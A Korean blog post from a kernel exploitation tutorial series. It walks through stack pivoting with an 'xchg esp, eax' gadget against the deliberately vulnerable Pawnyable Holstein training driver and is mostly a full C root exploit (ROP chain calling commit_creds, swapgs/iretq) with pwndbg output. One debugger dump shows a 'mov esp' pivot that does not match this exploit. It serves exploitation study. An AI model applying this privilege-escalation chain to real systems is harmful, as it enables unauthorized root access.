Kernel Exploit/Theory

Kernel - stack pivoting #2 - with xchg

wyv3rn 2023. 9. 9. 18:58
728x90
반응형

서론

앞선 글에서는 mov esp gadget을 활용하여 stack pivoting을 해보았다.

2023.09.08 - [Kernel Exploit] - Kernel - stack pivoting #1 - with mov esp.

 

Kernel - stack pivoting #1 - with mov esp.

서론 지금까지 단순히 ret address를 변조할 수 있는 경우에 대해 공부하였다. 만일 ret address 변조가 아닌 함수 pointer 주소만 변조할 수 있는 경우에는 어떨까. 예를 들면 *input() 과 같은 식으로 실행

wyv3rn.tistory.com

이번에는 xchg gadget으로 해보자.

 

문제 환경

pwnyable 기본 커널로 한다.

 

1. 환경설정

vmlinux 추출, 분석 및 취약점이 모두 앞과 동일하다.

2023.08.27 - [Kernel Exploit] - kernel - ret2usr

 

kernel - ret2usr

서론 가장 기본적인 커널 익스 기법인 ret2usr에 대해서 알아보자. 간단히 먼저 설명하자면, ret2usr는 stack buffer overflow에서 return to shellcode와 같다고 보면 된다. 본론 우선 테스트는 유명한 커널 익

wyv3rn.tistory.com

 

여기에 아래와 같이 smep와 디버깅을 위한 -s만 추가해줬다.

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
    -no-reboot \
    -cpu qemu64,smep \
    -smp 1 \
    -monitor /dev/null \
    -initrd rootfs.cpio \
    -net nic,model=virtio \
    -net user \
    -s

 

2. payload 작성 준비

앞과 동일하며 gadget부터 찾아보자.

 

2.1 gadget 찾기.

마찬가지로 vmlinux 파일에서 찾는다.

이번에는 xchg gadget이다.

 

수 많은 gadget이 나오지만, 가장 간단한 xchg esp, eax ; ret을 사용했다.

더불어 eax를 컨트롤할 수 있는 pop rax ; ret을 추가했다.

#define xchg 0xffffffff81089290; //xchg esp, eax ; ret
#define rax 0xffffffff81022741; //pop rax ; ret

 

3. payload 작성 및 exploit - with xchg esp,

//gcc -static -o exp exp.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>

unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define prepare_kernel_cred 0xffffffff8106e240;
#define commit_creds 0xffffffff8106e390;
#define rdi  0xffffffff8127bbdc; //pop rdi ; ret
#define mov_rdi_rax  0xffffffff8160c96b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
#define swapgs  0xffffffff8160bf7e; //swapgs ; ret
#define iretq  0xffffffff810202af;
#define rcx 0xffffffff8132cdd3; //pop rcx ; ret
#define rax 0xffffffff81022741; //pop rax ; ret
#define xchg 0xffffffff81089290; //xchg esp, eax ; ret

static void win() {
  puts("[+] win!");
  execl("/bin/sh", "sh", NULL);
}

static void save_state() {
  asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "movq %%rsp, %2\n"
    "pushfq\n"
    "popq %3\n"
    : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags));
}

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int main() {
  save_state();

  int fd = open("/dev/holstein", O_RDWR);
  if (fd == -1) fatal("open(\"/dev/holstein\")");

  char buf[0x500];
  memset(buf, 'A', 0x408);
  unsigned long *add = (unsigned long*)&buf[0x408];
  *add++ = rax;
  *add++ = 0xdead0000;
  *add++ = xchg;


  unsigned long *chain = mmap((void *)0xdead0000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
  unsigned off = 0x1000 / 8 - 1;
  *chain++ = 0xdeadbeef;
  chain[off++] = rdi;
  chain[off++] = 0;
  chain[off++] = prepare_kernel_cred;
  chain[off++] = rcx;
  chain[off++] = 0;
  chain[off++] = mov_rdi_rax;
  chain[off++] = commit_creds;
  chain[off++] = swapgs; //여기부터 restore_state 함수의 역할과 동일함.
  chain[off++] = iretq;
  chain[off++] = (unsigned long)&win;
  chain[off++] = user_cs;
  chain[off++] = user_rflags;
  chain[off++] = user_rsp;
  chain[off++] = user_ss;

  write(fd, buf, 0x500);

  close(fd);
  return 0;
}

 

동일하게 페이로드를 설명하자면,

buf 변수의 마지막에 pop rax 가젯, 넣을 주소, xchg esp, eax를 넣어 module_write 함수의 ret을 임의 주소로 변경하였다.

이후 mmap을 통해 0xdead0000- 0x1000부터 0x2000을 새로 할당하고,

0xdeacf000에 0xdeadbeef를 넣고

0xdead0000에 payload들을 넣었다.

 

그럼 아래와 같이 module_write ret에서  명령어가 실행되고,

0xffffffff81022741 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────────────────────────────── RAX  0x500
 RBX  0xffff88800316d100 ◂— 0x0
 RCX  0x0
 RDX  0x7f
 RDI  0xffff888003298400 —▸ 0xffffffff81d0feeb ◂— 'sections'
 RSI  0xffffc90000433ea8 ◂— 0x4141414141414141 ('AAAAAAAA')
 R8   0xffffffff81ea4608 ◂— 0xc0000000ffffefff
 R9   0x4ffb
 R10  0xfffff000
 R11  0x3fffffffffffffff
 R12  0x500
 R13  0x0
 R14  0x7ffcd762a960 ◂— 0x4141414141414141 ('AAAAAAAA')
 R15  0xffffc90000433ef8 ◂— 0x0
 RBP  0x4141414141414141 ('AAAAAAAA')
*RSP  0xffffc90000433eb8 —▸ 0xdead0000 ◂— 0
*RIP  0xffffffff81022741 ◂— popq %rax
───────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────────────   0xffffffffc000020d    leave
   0xffffffffc000020e    retq
    ↓
 ► 0xffffffff81022741    popq   %rax
   0xffffffff81022742    retq
    ↓
   0xffffffff81089290    xchgl  %eax, %esp
   0xffffffff81089291    retq

 

이후 변경된 rsp와 stack의 값은 아래와 같아진다.

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x500
 RBX  0xffff888002695e00 ◂— 0x0
 RCX  0x0
 RDX  0x7f
 RDI  0xffff8880032a2800 —▸ 0xffffffff81d2568a ◂— 0x7500746e65766575 /* 'uevent' */
 RSI  0xffffc90000453ea8 ◂— 0x4141414141414141 ('AAAAAAAA')
 R8   0xffffffff81ea4608 ◂— 0xc0000000ffffefff
 R9   0x4ffb
 R10  0xfffff000
 R11  0x3fffffffffffffff
 R12  0x500
 R13  0x0
 R14  0x7ffcb9c986e0 ◂— 0x4141414141414141 ('AAAAAAAA')
 R15  0xffffc90000453ef8 ◂— 0x0
 RBP  0x4141414141414141 ('AAAAAAAA')
*RSP  0xf6000000 —▸ 0xffffffff8127bbdc ◂— popq %rdi
*RIP  0xffffffff81507c3e ◂— retq
───────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────────────
   0xffffffffc000020e    retq
    ↓
   0xffffffff81507c39    movl   $0xf6000000, %esp
 ► 0xffffffff81507c3e    retq   <0xffffffff8127bbdc>
    ↓
   0xffffffff8127bbdc    popq   %rdi
   0xffffffff8127bbdd    retq
    ↓
   0xffffffff8106e240    pushq  %rbp
   0xffffffff8106e241    movl   $0xcc0, %esi
   0xffffffff8106e246    movq   %rsp, %rbp
   0xffffffff8106e249    pushq  %r13
   0xffffffff8106e24b    movq   %rdi, %r13
   0xffffffff8106e24e    movq   0xf894db(%rip), %rdi
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xf6000000 —▸ 0xffffffff8127bbdc ◂— popq %rdi
01:0008│     0xf6000008 ◂— 0
02:0010│     0xf6000010 —▸ 0xffffffff8106e240 ◂— pushq %rbp
03:0018│     0xf6000018 —▸ 0xffffffff8132cdd3 ◂— popq %rcx
04:0020│     0xf6000020 ◂— 0
05:0028│     0xf6000028 —▸ 0xffffffff8160c96b ◂— movq %rax, %rdi
06:0030│     0xf6000030 —▸ 0xffffffff8106e390 ◂— pushq %rbp
07:0038│     0xf6000038 —▸ 0xffffffff8160bf7e ◂— swapgs
───────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0xffffffff81507c3e
   1 0xffffffff8127bbdc
   2              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10gx $rsp
0xf6000000:     0xffffffff8127bbdc      0x0000000000000000
0xf6000010:     0xffffffff8106e240      0xffffffff8132cdd3
0xf6000020:     0x0000000000000000      0xffffffff8160c96b
0xf6000030:     0xffffffff8106e390      0xffffffff8160bf7e
0xf6000040:     0xffffffff810202af      0x00000000004017d5

 

xchg 명령을 거쳐 eax와 esp가 바뀐 것을 볼 수 있다.

pwndbg>
0xffffffff81089291 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────────────────────
*RAX  0x433ec8 ◂— addq $0x10, %rcx
 RBX  0xffff88800316d100 ◂— 0x0
 RCX  0x0
 RDX  0x7f
 RDI  0xffff888003298400 —▸ 0xffffffff81d0feeb ◂— 'sections'
 RSI  0xffffc90000433ea8 ◂— 0x4141414141414141 ('AAAAAAAA')
 R8   0xffffffff81ea4608 ◂— 0xc0000000ffffefff
 R9   0x4ffb
 R10  0xfffff000
 R11  0x3fffffffffffffff
 R12  0x500
 R13  0x0
 R14  0x7ffcd762a960 ◂— 0x4141414141414141 ('AAAAAAAA')
 R15  0xffffc90000433ef8 ◂— 0x0
 RBP  0x4141414141414141 ('AAAAAAAA')
*RSP  0xdead0000 ◂— 0
*RIP  0xffffffff81089291 ◂— retq
───────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────────────
   0xffffffffc000020d    leave
   0xffffffffc000020e    retq
    ↓
   0xffffffff81022741    popq   %rax
   0xffffffff81022742    retq
    ↓
   0xffffffff81089290    xchgl  %eax, %esp
 ► 0xffffffff81089291    retq   <0>

 

계속 진행해 본 결과!

[ Holstein v1 (LK01) - Pawnyable ]
/ $ id
uid=1337 gid=1337 groups=1337
/ $ ./payload
[+] win!
/ # id
uid=0(root) gid=0(root)
/ #

성공~!

 

4. 유의사항

마찬가지로 mmap을 통해 공간을 새로 할당할 시 앞쪽 공간에 값을 쓰는 것을 잊지 말자.

728x90
반응형